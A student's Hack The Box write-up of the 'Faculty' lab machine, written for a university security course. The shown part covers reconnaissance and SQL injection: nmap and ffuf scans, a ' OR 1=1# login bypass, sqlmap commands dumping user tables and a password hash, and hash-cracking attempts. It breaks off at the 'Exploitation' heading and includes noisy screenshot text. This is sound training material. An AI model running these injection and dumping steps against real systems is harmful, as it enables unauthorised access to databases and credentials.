INSTITUT FÜR CYBER SECURITY

Faculty Writeup

Felicitas Pojtinger (fp036)

2022-10-12



Contents

1	Disclaimer	3
2	Preface and Personal Statement	4
3	Skills Required	5
4	Conspectus	5
5	Information Gathering	6
6	Exploitation	13
7	User Flag	20
8	Root Flag	25

Faculty Writeup



Figure 1: Hack the Box Logo

- Author: Felicitas Pojtinger (fp036)
- Dificulty: Medium
- Target: 10.10.11.169
- Proof of pwn: https://www.hackthebox.com/achievement/machine/370951/480

1 Disclaimer

I hereby confirm that I did not have any kind of assistance during the actual penetration test of the machine, nor with writing this writeup. All methods used are explained, all used resources are linked and ways of success and failure are described. This report was created as submission for HdM Stuttgart's "IT Security: Attack and Defense" course. Sharing or publishing this writeup without written approval is prohibited. There may be other ways to escalate this box and some ways may be patched now as they might not have been intentionally kept open by the box's authors. IPs and other metadata on screenshots and within the quoted and attached notes might differ, due to taking additional screenshots after the initial hacking.

Contact: fp036@hdm-stuttgart.de

2 Preface and Personal Statement

Faculty is a Linux-based machine created by HTB user gbyolo. It was originally published on July 2nd, 2022 and is rated at medium dificulty.

The machine is CTF-like. This is mostly due to it running a fully custom, purpose-built software and it using some arcane tools to provide hints, such as the UNIX mail system. The custom software is written in PHP, which I used for projects at my job and has been used in quite a few machines we've worked on in the CTF team, which was nice to see.

The user flag was pwned within roughly 4 days; this could have been done much more quickly, but lots of dead ends that seemed promising at first glance led to lots of time being wasted while trying to crack hashes. The root flag however was almost trivial to achieve and I managed to get it in under an hour, mostly because quite a lot of embedded Linux experience from my day job was applicable.

Faculty is the first machine that I pwned fully by myself; all other machines were done within the HdM CTF team or with friends. The medium ranking felt appropriate, although the multiple dead ends were quite demotivating.

3 Skills Required

In order to pwn the user flag, knowledge of Linux, a surface-level understanding of PHP, SQL injection and file inclusion is required. Once a shell has been acquired, remote code execution and the GNU Debugger help escalate to the root flag.

4 Conspectus

Faculty exposes a custom PHP faculty scheduling system served by a Nginx webserver running on Ubuntu. Through fuzzing with ffuf we can find an admin area, which is vulnerable to SQL injection. Using sqlmap, the login form can be bypassed, after which access to a faculty list is granted. This list and others can be downloaded as a PDF; the used generator is an old version of mpdf, which has a file injection vulnerability. Using this vulnerability, we can fetch arbitray files from the server's filesystem. By causing the server to display a stack trace, we can get the app's source code directory, from which we first fetch the database connection file. It contains a hardcoded password and username, which are also both being used as the SSH credentials. Once SSH access is granted as user gbyolo, we can exploit a remote code execution vulnerability in the installed NPM package meta-git to escalate to user developer by downloading the relevant SSH private key and logging in over SSH again, which allows us to get the user flag. In order to get the root flag, we use a preinstalled version of gdb to attach to a process running as root with debug symbols enabled, and set the SUID bits of bash; this allows us to run bash as root and thus get the root flag.

5 Information Gathering

First, I used nmap to get the services which are running on the machine:

```
1 $ nmap -v -p- 10.10.11.169
2 Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-12 14:39 CEST
3 Initiating Ping Scan at 14:39
4 Scanning 10.10.11.169 [2 ports]
5 Completed Ping Scan at 14:39, 0.03s elapsed (1 total hosts)
6 Initiating Parallel DNS resolution of 1 host. at 14:39
7 Completed Parallel DNS resolution of 1 host. at 14:39, 0.02s elapsed
8 Initiating Connect Scan at 14:39
9 Scanning 10.10.11.169 [65535 ports]
10 Discovered open port 80/tcp on 10.10.11.169
11 Discovered open port 22/tcp on 10.10.11.169
```

Both port 80 (HTTP) and 22 (SSH) are open.

To access the services, I added the hostname to /etc/hosts:

```
1 # /etc/hosts
2 faculty.htb 10.10.11.169
```

After this, I used ffuf to fuzz the machine:

```
1 $ ffuf -w ~/Downloads/SecLists/Discovery/DNS/bitquark-subdomains-
	top100000.txt:FUZZ -u http://10.10.11.169/ -H 'Host: FUZZ.faculty.
	htb' -fs 0,154
2 # No results
3 $ ffuf -w ~/Downloads/SecLists/Discovery/Web-Content/directory-list
		-2.3-small.txt:FUZZ -u http://faculty.htb/FUZZ -fs 12193
4 admin
```

😌 Hack The Box	🗄 Hack The 🗄 🗙 🤇 🗯	HTB Viewer × +										~ ×
← → C ■	vnc.htb-cloud.com/i	index.php								< + 1	* * 0	Ø :
O GH N HN	BR DPH G	MD TW RE FL O GW C DC	🛃 SL 🚳 IG 🗰 YT 🕑 TW. 🌄 SC 🔯 EP. 🌰 CA. 🚳 SD. 🖷 WW. 🖨 MV. 🖿 CL 🖿 IS. 🖿 A	AP F FT								
	Diana Contan								_			
Applications	Places System		Colored Country Colored View							erg		113, 20.32
 School Faculty 5 												
$\leftarrow \rightarrow \times c$		A faculty.htb/admin/index.php?page-						\$		2 0		₽ =
						Username						
						' OR 1=1#						
										-		
						Password						
										- La		
							Login					
		_										
Connecting to rems	.googeapis.com											
	D Counts O Dates		 A Marcon P. Doroso A Association and a complete substances of the state of the stat									- - -
C C Inspector (D change D bearly	de la terrere (1 ale care (2) retuine	a Quanti Dunda Burnant Butterna				MTHE CTT IT THE BARE I	and the second	ar other		he No Theor	
Citize .	Marked	Pressie	P6	la blatas	2.00	Transformed	The Cas is since form in	inger mon	in the second			and Ac
STD .	OFT	# fooly.hth	infer adultator-have	lasis obc/166 (decurrent)	html	4.41 KR	13 73 68	22 ms				
	GET	fonts.googlespis.com	css/family=Open+Sam:300,300,400,400,600,600,700,700/Baleway:300,300,400,400,500,500,000,000,700,700/Poppins:300,300,400	20,4 stylesheet								
200	GET	🔏 faculty.htb	jquery.min.js	script	js	cached	0.8				0.00	
280	GET	🔏 faculty Into	dataables.min.js	script	8	aded	08				0.0	86
200	GET	K faculty.htb	bootstrap.bundle.min.ju	script	P	cached	08				(d.=	10
210	GET	M faculty http	jspery.easing min.js	script	16	cached	08				0.0	
RTD .	GET	Manual (199	verober min is	script	2	cached	05					Im
810	GET	🔏 faculty htb	jquery waypoints.min js	script	8	cached	08				1	0 me
200	GET	🔏 faculty.htb	counterup.min.js	script	16	cached	0.8					Oms
200	GET	🔏 faculty.htb	awtensustrain ju	script	ja	cached	0.8					0 mo
(280)	GET	🔏 faoulay heb	baitstrap-datepicker min.js	script	8	aded	08					0 m.
200	GET	# feculty.htb	select2.min.js	script	ji ji	cached	08					Dires
830	GET	K faculty http: K faculty http:	jipuny datetimepickur. Adl.min. ju 19. min in	script	ja ja	cached	0.5					0 ma
600	CPT	Second with the second	etresp	script	P	rached	05					(Cres
210	GET	M faculty http	jguery-te-1.4. Dunin. js	script	1	cached	0.5					1 ma
_			March an annual a									
												0
O 17 requests 13	.73 KB / 4.41 KB transferred	Finish: 545 ms								_	_	U
Menu 🔳 🛙		School Faculty Scheduli								1		

The /admin endpoint is interesting; it looks like this:



Next, I used sqlmap on the login page's API to search for SQL injection vulnerabilities:

In order to find out more about the structure of the application, I used sqlmap to first enumerate the columns and then dump the users.

```
7 [15:20:52] [INFO] resumed: subjects
8 [15:20:52] [INFO] resumed: users
9 [15:20:52] [INFO] fetching columns for table 'schedules' in database '
     scheduling_db'
10 [15:20:52] [INFO] resumed: 12
11 [15:20:52] [INFO] resuming partial value: date
12 [15:20:52] [WARNING] time-based comparison requires larger statistical
     model, please wait..... (done)
13 [15:20:53] [WARNING] it is very important to not stress the network
     connection during usage of time-based payloads to prevent potential
     disruptions
14 _created
15 [15:21:19] [INFO] retrieved: datetime
16 [15:21:44] [INFO] retrieved: description
17 $ sqlmap -u 'http://faculty.htb/admin/ajax.php?action=login_faculty' --
     data="id_no=asdf" --method POST --dbs --batch -time-sec=1 --dump -T
     users -D scheduling_db -C name, password
18 # ...
19 [15:34:31] [WARNING] (case) time-based comparison requires reset of
     statistical model, please wait..... (done)
20 Administrator
21 [15:35:15] [INFO] retrieved: 1fecbe762af147c1176a0
22 15:37:12] [WARNING] no clear password(s) found
23 Database: scheduling_db
24 Table: users
25 [1 entry]
26 +-----
27 name password
28 +----+
29 Administrator | 1fecbe762af147c1176a0fc2c722a345 |
30 +-----+
```

Here an Administrator user as well the corresponding password hash could be found. This hash however did not seem to be easily crackable, even with large password lists:

```
1 $ echo '1fecbe762af147c1176a0fc2c722a345' | tee /tmp/hash
2 $ hashcat -m 0 -a 0 /tmp/hash ~/Downloads/rockyou.txt
3 # Approaching final keyspace - workload adjusted.
4 $ john --wordlist ~/Downloads/rockyou.txt /tmp/hash
5 g 0:00:00 DONE (2022-10-12 15:47) 0g/s 19677p/s 19677c/s 7923MC/s
123456..sss
6 Session completed
7 $ curl -Lo https://download.weakpass.com/wordlists/1927/cyclone.
hashesorg.hashkiller.combined.txt.7z
8 # Extract the .7z with the Nautilus first
9 $ hashcat -w 4 -a 0 /tmp/hash ~/Downloads/cyclone.hashesorg.hashkiller.
combined.txt
```

By continuing to dump the database and I was also able to find faculty ID numbers, which we can use to login to the non-admin area:

Hack The Box :: Hack The E × HTB Viewer × +		~ ×
\leftarrow \rightarrow C & wnc.htb-cloud.com/index.php		0< 🔅 🛎 🗉 🚳 E
🖸 GH 🔟 HN 🔳 BR 📮 PH 🥥 MD 🎔 TW 🎯 EL 🔕 GW 🥝 DC 👯 SL 🐵 IG 🚥 YT 🖓 TW 🗖 SC 🧕	EP 😑 CA 🔗 SD 🖷 WW 😝 MV 🖿 CL 🖿 IS 🖿 AP 🔂 FT	
(c) Applications Places System	al School Faculty Scheduling System — Mozilla Firefox	en2 🕎 Thu Oct 13, 20:46
← → C @ O & faculty.htb/login.php		o & o z 🚳 🕹 =
There ■ (NC corfs)	Welcome To Faculty Scheduling System Please enter your Faculty ID No.	

Figure 3: Faculty login

```
1 $ sqlmap -u 'http://faculty.htb/admin/ajax.php?action=login_faculty' --
      data="id_no=asdf" --method POST --dbs --batch -time-sec=1 --dump -T
      faculty -D scheduling_db
2 # ...
3 [18:57:01] [INFO] retrieved: firstname
4 [18:57:36] [INFO] retrieved: gender
5 [18:58:00] [INFO] retrieved: id
6 [18:58:08] [INFO] retrieved: id_no
7 # ...
8
9 $ sqlmap -u 'http://faculty.htb/admin/ajax.php?action=login_faculty' --
      data="id_no=asdf" --method POST --dbs --batch -time-sec=1 --dump -T
      faculty -D scheduling_db -C id_no
10 # ...
11 Database: scheduling_db
12 Table: faculty
13 [3 entries]
14 +----+
15 id_no
             16 +----+
17 | 30903070 |
18 63033226
19 85662050
```

Faculty Writeup

20 +----+

Looking at the network inspector we find a RPC endpoint that is being called from this frontend. Running SQLMap on it showed another SQL injection vulnerability, which we use to get all of the tables (its UNION instead of time-based like before, which makes this much faster). The page looked like this and the endpoint is used to fetch the schedules (notice the typo in the URL!):

< → C														
	wnc.htb-clou	d.com/index.php											0 < * *	्य 🛛 🚳
о он 🛛	HN 🔲 BR 🟳 I	PH 🥹 MD 🎔 TW 👩 EL 🤷 (GW 🕝 DC 👯 SL 😣 IG 🗖 YT I	🛡 TW 🧧 SC 🛛	💐 EP 🛛 C	4. 🧑 SD 🔶 W1	/ 🤤 MV 🖿 CI	. Mais Mar 😜 FT						_
Application Application School Facult		em 🕟 🍉 📼 📼											en [Thu Oct 13, 20
														🔳 🛞 🦊 i
School	Faculty Schedu	ling System												
				$\langle \rangle$	today		Oct	ober 2022		month week o	ay list			
				Sun		Mon	Tue	Wed	Thu	Fri Si	t.			
				W39							1			
				W40	2	3	4	5	6	7	8			
				W41	9	10	11	12	13	14	15			
				W41	9	10	11	12	13	14	15			
P O Inspec	ar D Cansale 🗆	Debugger 👎 Network () Style Edito	r 🖓 Performance 🕕 Merrory 🔛 Storage	W41	9 IIII Application	10	11	12	13	14	15			9 1 ① ····
R O Inspec	ar 🗈 Cansale 🗖	Debugger 14 Network () Style Edito	r 🖓 Performance 🕕 Memory 🖽 Storage	W41 * * Accessibility	9 IIII Application	10	11	12	13	14	15	11 Q O A	HTML CSS IS 2018 Fores Images Heds WS Other Distable Cache	•1 1 ····
2 O Inspec I V Filter UP	ar 🕞 Console 🗖	Debugger (1) Network (1) Style Editor Domain Of forces this	r 🕡 Performance 🕕 Memory 🖽 Storage File	W41	9 III Application	10	11	12	13 Type	14 Transferred	15	II Q & All	HTML CSS JS XHR Forms images Media WS Other Disable Cache Testadora Cookies Request Response Temings Stack1	No Throttling : Trace
R O Inspec I V riter U Mus	ar D Console C s Method GET GET	D Debugger 14 Network () Style Ediko Damain 26 Incuts http: 26 Incuts accelerate com	r 🖓 Performance 🕕 Memory 🔛 Storage File index.php continuer-Open-Sam:200.3004.4004	W41	9 P Application Relevant 300 3000	10	11	12 Initiator BrowserTabChild.jmr33.jdocument) widebet	13 Type Introl	14 Transferred 4.07 KB 0.8	15	11 Q Q AR Size 11.92 KB 08	HTML CLS IS 30 RF Form Images Media WS Other Cloted/Cafe Totaling Codesis Response Timings StackT © Fiber Insulan	No Throtting : Trace Slock Res
2 O Inspec J V Filter U Mus D	ar D Console C s Method GET GET	D Debugger 11 Network () Style Editor Damain 26 Incling hth 26 Incling hth 26 Incling hth		W41	9 Application Relevary:300,300	10	11 001,700,7001Pappine30	12 Initiator BoxnerTabChild.prr: 33 (document) stylesbeet vrin	13 Type hard	14 Transferred 4.07 KB 0.8 cohed	15	11 Q Q AB	HTML CSS IS XMB Fares Image: Media MSS Other Datable Carbie Image: Design of the state of the st	No Throtting : No Throtting : Slock Res
2 O Inspec J V Filter UP Mus B H H	ar D Console C s Method GET GET GET	D Debugger 11 Hetwool () Style Editor Damain 26 Incity hth 26 Incity hth 26 Incity hth 26 Incity hth 26 Incity hth	Performance Memory Storage File inder.php castmary=Ope=Fasc:300,300,400, premy.min.js denables.me.is	W41	9 Papelication Raleway:300,300	10	001,700,7001/Pappine38	12 Initiator Bouncerfalchild.jon:33 (document) stylenbeet script script	Type hard	14 Transferred 4.07 KB 0.8 cached cached	15	11 Q Q AB Size 1152 KS 08 08 05	HTML CSS: IX: 2018 Ferrer Images: Media: WS Other	No Theothing 5 Trace Block Res
P D Inspec I V Filter UP Mus I I I I I I I I I I I I I	ar D Console C .s GET GET GET GET	Debugger 11 Network () Style Editor Darrain # Incurbyth # Intra-poleping com # Incurbyth # Incurbyth # Incurbyth # Incurbyth	 Performance O Morrory E Starspe File Index.php castbrady-topes=5am:300.300(460,4 perprint/hip datastabas.map,a bootrapp.bards.map.b 	W41	9 Paper Application Raleway: 300, 3000	10	001,700,7001/Pappine:30	12 Initiator BrowserTabChild.jmm33.idocument) script script script script	13 Τηρε bard β β	14 Transferred 4.07 103 0.8 Colled colled colled	15	11 Q S AS Size 1192 K3 08 08 05 08	Inthe CES & MR Family Hands NS Other Deduction of Sank Theory Casing Report Report Theory Sank Virtuation (Casing Report Report Theory Sank Virtuation (Casing Report Repor	No Throtting s Trace Slock Res
C Inspec V Filter UF V Filter UF	ar D Console C s Method carr carr carr carr carr carr carr car	D Dolugov 14 Hermon () Style Eitho Darwin # faculty this # faculty this	Performance Memory Pile Pile Pile portunate - Comparison -	W41	9 Application Raleway:300,300	10	11 001/700.7001/Poppine 30	12 Istitutor Booserfaichtd.jornt3 kloournenti solpte solpt solpt solpt	13 Туре bard β р р р р в	14 Transferred 4.07 XB 0.8 Cohed cohed cohed cohed cohed	15	111 Q, O AN Size 1122 K3 08 08 05 08 08	10% 55 5 98 7m longe Mak #5 00 □ 044/r546 □ 0460 546 840 Page Page Page 7 (************************************	No Throttling 2 Trace Block Rese
	A Method CET	Debugger T4 Hermon () Style Editor Domain # forstytch # forstytch # forstytch # forstytch # forstytch # forstytch # forstytch # forstytch # forstytch	Portemanase O Mentory Els Sanage Fale Index phy continuity-regress-Sanage(Sp)(2004-000, Index phy	W41	9 Application Raleway 300,300	10	11	12 Initiator Boosent Colda presta Mournenti script script script script script	13 Type Mand Jo Jo Jo	14 Transferred 4.477.03 0.8 c.ched c.ched c.ched c.ched c.ched	15	II Q. Size Size 115233 08 08 05 08 08 08 08 08 08 08	Inthe, CSS 45 1016 Family House Models 105 Other Collector Sealer Thermal Collector Repairs Repairs Repairs Thereing Stack T V Thermality of the Sealer Repairs Repairs Sealer V Thermal THE IS Sealer Thereing Sealer Sealer Sealer Sealer Thereing Sealer Sealer Sealer Sealer Thereing Sealer Sealer Sealer Sealer Thereing Sealer Sealer Sealer Thereing Sealer Sealer Sealer Thereing Sealer The	No Theotling : No Theotling : Trace Block Rese
Q Inspec V Prine UP V Prine UP V	ar D Console C a Method CET CET CET CET CET CET	Debugger 14 Henson () Style Edito Damin # facilythin # facilythin # facilythin # facilythin # facilythin # facilythin # facilythin # facilythin # facilythin # facilythin	Phenomenate Memory Stranger Phenomenate Memory Stranger Phenomenate Memory Report Phenomenate Rep	W41	9 EE Application Raleway:300,300	10	11	12 Initiator Bosserfeld-bid jen 33 (docurrent) softer softer softer softer softer softer softer softer softer softer	13 Type hand p p p p p	14 Transferred 4.07 to 0.8 c.ched c.ched c.ched c.ched c.ched c.ched c.ched	15	II Q. So All Size 52.82 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8	1016 C3 /L 1016 From Image Meth 95 Other □ and relation for the second se	No Throttling : Trace Block Rese Block Contemport
	Ar D Console C A Ar Ar A	Debugger 11 Hennes () Style Edito Damin 21 Henry 16 21	Porformatize Moreovy Starting Por Porformatize Por Porformatize Porformatiz	W41	9 EE Application Raleway-300,3000	10	11	12 Initiator BooserTc264d prr:13 blocurret() winderet script script script script script script script script	13 Туре band р р р р р р	14 Transferred 4.67 KB 0.8 colled colled colled colled colled colled	15	II Q. Q. AI Size 500 400	IfTNC CSS SS Deter Display Solidar 2	Ao Throttling 5 Trace Block Rese Rew
C Inspect V Pater Lo V	ar D Console D A Method GET GET GET GET GET GET GET	Dechagger 12 Henness () Style Edito Dennin If the Archite If the Argonites areas If the Archite If the Archites If the Archites	Partonmase Pas Pa	W41	9 Rateway:200,3001	10	00(700,700)Paggine.30	12 Notator BooserfdcCMdger033 Mourrent) stylohert stylo stylo stylo stylo stylo stylo stylo stylo stylo stylo	13 Type bard p p p p p p p p p	14 Transferred 4.07 zs 0.8 cohed cohed cohed cohed cohed cohed cohed cohed cohed cohed	15	II Q. Q. All Size 1152185 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08	1010. CSL 55. 1016 from images Marks 95. 000er □Datable Califier 101 Testion: Califier Bareney 101 Testion: Califier Bareney Standard Standar	Ab Throttling 2 Trace Block Rese Rev
C Insper V Plane UP V P	Ar D. Console C 4	D Debugger *12 Hennex [3 Style Editor Brenn # form-polymerization # form-polymerization # form-polymerization # form-polymerization # form-polymerization	Γ (Λ) Performance () Merrory () Sterrigot Index App conflicted program family 30,000,000, (and applied app	W41	9 Raleway-300,3000	10	001/700.7001/Pappine.30	12 Initiation Booker/TaiCM4/pm/33 Mournet() injtelitert sospe so sospe sos sospe sospe sospe sospe sospe sospe sospe sospe sospe sos	13 Type http://www. provided the second seco	14 Tourforms 4 cer 10 0 B coded coded coded coded coded coded coded coded coded	15	II Q. Solution 5282 112243 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08	10% C3. 6. 9.08 Family Goadas Mayor Models Mail Control	No Throttling : Trace Block Ress
2 C: Inspector 3 2 7 Filter US 30 2 7 Filter US 44 4 4 44 4 4 44 44 4 44 44 44 44 44 44 44 44 44 44 44 44	ar D Cansole C a Method CET CET CET CET CET CET CET CET	D Didugger 11 Neuron () Style Edito Dentis () Menanis () Menanis	P Chi Petermanar Chi Menory Chi Sangar Par mangar Managar Sangar Sangar Managar Sangar Sangar Sangar Sangar Managar Sangar Sangar Sangar Sangar Sangar Managar Sangar Sangar Managar Sangar Sang	W41	9 Bill Application	10	11	12 10 10 10 10 10 10 10 10 10 10	13 Type band B B B B B B B B B B B B B B B B B B B	14 Trainformed 4.427 KB 0.8 cockel cockel cockel cockel cockel cockel cockel cockel	15	II Q. O All Size 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0	Infine C61 & 0 MB Fails Infine May Mindle W6 Other ☐ Badda Cache Program Caches Report Report Temps Sack Thermonics Thermon	No Throtting 2 No Throtting 2 Slock Rese
C Inspect V Fitter U V Fitter U V V Fitter U V	ar Console C a Method CET CET CET CET CET CET CET CET	Debugger 12 Hennex () Style Edito Dennin # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation # form appropriation	 Portementer: O Henrory E Storage mitingly and the storage mitingly and the storage distribution of the storage distribution of the storage distribution of the storage distribution of the storage mitingle and the storage mitingle and the storage distribution of the storage mitingle and the storage distribution of the storage mitingle and the storage mitingle and the storage mitingle and the storage mitingle and the storage 	W41	9 EE Application	10	11	12 Interf Descrift(Algent) Secure() ingle ange ange ange ange ange ange ange ang	13 Type hand ja ja ja ja ja ja ja ja ja ja ja ja ja	14 Transferred 4.473 28 0.8 0.0014	15	II Q. O Size 11.32.83 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8 0.8	10% 53 6 9.00 frame longer Monte Monte </td <td>Ro Throttling 2 Trace Block Rese Block Content</td>	Ro Throttling 2 Trace Block Rese Block Content
	ar Method C ar 4 4	D Dologov 11 Neuron () Style Edito Donin Managering and Managering	P Charlenaux Charlenaux Sampe Re- Interden	W41 ** Accessibility accupation_state_trans_	9 Baleway 300,300	10	11	12 1000 1000 1000 1000 1000 1000 1000 1	13 Type Band B B B B B B B B B B B B B B B B B B B	14 Transformed 4.47 YB 08 control con control	15	II Q. O All State 5302 4313 4313 4314	10% C33 6 908 Family Houses 500 Conduct Conduct 2 Texture Conduct Conduct Report Texture Standard 4 Texture Conduct Conduct Report Texture Standard 4 Texture Reference Conduct Conduct Reference Standard 4 Texture Reference Conduct Conduct Reference Standard 4 Texture Reference Conduct Conduct Reference Standard 4 Conduct Conduct And Andread Conduct Conduct Andread Standard Standard 5 Conduct Conduct Andread Conduct Conduct Andread Standard Standard 6 Conduct Conduct Andread Conduct Conduct Andread Standard Standard <t< td=""><td>At Theating 1 Trace Slock, Rese</td></t<>	At Theating 1 Trace Slock, Rese
	ат болосо С С м	Debugger 11 Interest () Style Editor Demby Metabolis	 A Pederanaran O Memory D Stanger Internet Methods (Stanger Internet) (Stange	W41 * Accessibility 000.000.000.000.000	9 Elemany 300,300	10	11	12 NUMBO Descention(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(13 Tope Meed A A A A A A A A A A A A A A A A A A	14 Transferred 4.4215 0.8 0.0014	15	II Q. Display JAL 112 State State	1016 C31 6 100 Femily Graders Stagent Regions Torings Start Image: Start Star	1 1 1 No Threating 5 No Threating 5 Sock, Rese Raw
	x x x a a a a a a barrow a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a	Debegor 11 Homos () Systems Dennis di Kurata di Kurata	Portunator P	W41 * Accessibility accessibility	9 Elevery-200,300	10	11	12 INNEY Douart Tolkhart 1 Mournett apphone 1004	13 Type Mand P P P P P P P P P P P P P P P P P P P	14 Transformed A 47 the 0 8 control co	15	II Q. Q. Mail State 500 340	HIM CSA 6. 9.00 Form Houses Mark Control Contro Control Control <	Construction of a second
C C	и С С Сенена С С а менена с сет а	D Dohogor 11 Meson () Style Edda Denhogor () Meson () Meson ()	 A Performance O Menory D Sample Re Re Reference R	W41	9 Baleway 300,300	10	11	12 State State State State	13 700 Mod 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8	14 Transformed 4.47 till 0.8 colled c	15	II Q. O Mathematical 1132 -	1050 CS // 50 From: Image: Marks 105 Other	1 1
C C C	y 2000000000000000000000000000000000000	Debryon 11 Interest () Systelling Dennis If Instantis If Instantis	 Portunationaria Por	W41 * Accessibility	9 El Application Raleway-300,300	10	11	12 Million Mount Model March March Rope	13 Tope Mod P P P P P P P P P P P P P P P P P P P	14 70016000 000 000 000 000 000 000 000 000	15	II Q. Q. Mail Start 1132100 1132100 1132100 O 0 0 0 0 O 0 0 0 0 0 O 0	10% 53. 5. 9. 90, from longer, Moda 46. 50 mm ☐ moder Cedar, Magas Megnan & Tonge Sack Megnan 2 Thomas Cedar, Magas Megnan & Tonge Sack Megnan Tonge Sack Megnan 2 Tonge Cedar, Magas Megnan & Tonge Sack Megnan Tonge Sack Megnan 2 Tonge Cedar, Megnan & Megnan Tonge Sack Megnan 3 Tonge Cedar, Megnan & Megnan Tonge Sack Megnan 4 Tonge Cedar, Megnan & Megnan Tonge Sack Megnan 5 Cedar, Megnan & Megnan Tonge Sack Megnan 0 Cedar, Megnan Tonge Sack Megnan	Construction of a second
C C	P C. Cressele C a	Debugar 11 Neuron () Style Etho Debugar () Neurophia # Controls # Controls	Portunator P	W41 * Accessivity 00,666,660,710,7001	9 El Application	10	11	12 bitler buschfolgen(1) buschfolgen	13 500 800 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8	14 Transformed 4.47 PB 08 0.00hd cached cach	15	II Q. Q. M III IIII IIIII IIIIIII IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII	Infine C61 d5 100 fram impos Holds 10 for ☐ Solds Cofe Default Cofe d5 100 fram impos Holds 10 for ☐ Solds Cofe Formation Cofes Append Append Tempos Sold Formation Cofes Append Appe	t tree the threating a the threating a three the threating a three three three three three three
C C	P Console C 4 Method 4 6 6 6 6 6 6 6 6 6 6 7 6 6 7 6 6 6 7 6 6 7 6 7 6 6 7 6 6 7 6 6 7 6 6 7 6 6 7 6 6 7 6 6 7 6 6 7 7 6 7 7 6 7 7	Debugur 11 Innovi () StyleEthio Demb Methola	 Portunations Portu	W41	9 Endeway-200,3000	10	11	12 Indee Second (Indee) (Indee) (Indee) Second (Indee) (Indee) (Indee) Second (Indee) (Indee) Sec	13 7900 8000 20 20 20 20 20 20 20 20 20 20 20 20	14 4.07 KB 0.8 0.00M	15	II Q. Q. Mathematical Size 1132/00 1132/00 1132/00 O 0 0 0 O 0 0 0 O 0 0 0 O 0 0 0 O 0 0 0 O 0 0 0 O 0 0 0 O 0 0 0 O 0 0 0 O 0 0 0 O 0 0 0 O 0 0 0 O 0 0 0 O 0 0 0 O 0 0 0 O 0 0 0 O 0 0 0 O 0 0 0 O 0 0 0	1200 53 6 100 none Bit Mathies Solar Report Report Solar Solar Report Solar	1 1 10
C C	P Console C a Method - Gert Gert - Gert - -	Debegor 11 Homos () Systems Dennis di Instanto di Instanto	Portunator P	W41 • * ArcessRep;	9 El Application Raleway 300,3000	10	11	12 istear BoosentPolicy States 11 States 12 States	13 500 500 50 50 50 50 50 50 50 50 50 50 5	14 A do to to a do to to a cached a cac	15	II Q. Q. M III IIII IIIIII IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII	10100 C33 6 9.00 Point Codes Name of Codes <td>Constraints of the second second</td>	Constraints of the second
C Inspect V Filter Li V V Filter Li V	Image: Conserve of	Debugger 11 Meson () Style Editor Debugger 11 Meson () Meson ()	 Portenarias O Menery Stange Internet Internet	W41 * * AccessNiPr	9 El Application Raleway-300,3000	10	11	12 State Sta	13 7900 8000 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8	14 4.47 KB 0.47 KB 0.47 KB 0.47 KB 0.44 KBB	15	II Q. Ø Mathematical State 500 500 500 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0	1010 511 6 1010 Feature Control The particle Control The contro The control </td <td>1 1 10</td>	1 1 10

Figure 4: Faculty scheduling

1	\$ sqlmap -u 'h data="facul	ttp://faculty.h ty_id=3"meth	tb/admin/ajax.php?action=get_schecdule' nod POSTdbsbatch -time-sec=1column								
2	#										
3	Database: scheduling_db										
4	Table: courses	0-									
5	[3 columns]										
6	+	+	+								
7	Column	Туре									
8	+	+	+								
9	course	varchar(200)									
10	description	text	İ								
11	id	int	i de la constante de								
12	+	, +	+								
13											
14	Database: sche	duling_db									
15	Table: users	0-									
16	[5 columns]										
17	++	+									

```
18 Column Type
19 +----+----+

    20
    id
    int

    21
    name
    text

22 password text
23 | type | tinyint(1)
24 username varchar(200)
25 +----+
26
27 Database: scheduling_db
28 Table: class_schedule_info
29 [4 columns]
30 +----+
31 Column Type
32 +----+
33 | course_id | int |
34 id int
35 | schedule_id | int
36 subject int
37 +----+
38
39 Database: scheduling_db
40 Table: faculty
41 [9 columns]
42 +----+
43 Column Type
44 +-----
45addresstext46contactvarchar(100)47emailvarchar(200)
48 | firstname | varchar(100) |
49gendervarchar(100)50idint51id_novarchar(100)52lastnamevarchar(100)
53 | middlename | varchar(100) |
54 +-----+
55
56 Database: scheduling_db
57 Table: subjects
58 [3 columns]
59 +----+
60 Column Type
61 +----+
62 description text
63 | id | int |
64 | subject | varchar(200) |
65 +----+
67 Database: scheduling_db
68 Table: schedules
```

69	[12 columns]	
70	+	++
71	Column	Туре
72	+	++
73	date_created	datetime
74	description	text
75	faculty_id	int
76	id	int
77	is_repeating	tinyint(1)
78	location	text
79	repeating_data	text
80	schedule_date	date
81	<pre>schedule_type</pre>	tinyint(1)
82	time_from	time
83	time_to	time
84	title	varchar(200)
85	+	++
86	#	

Sadly, I wasn't able to use this path to escalate further either; we don't have the necessary permissions to get files using SQL:

So I finally took one more look at the fuzzer from above, which gave us / admin.

6 Exploitation

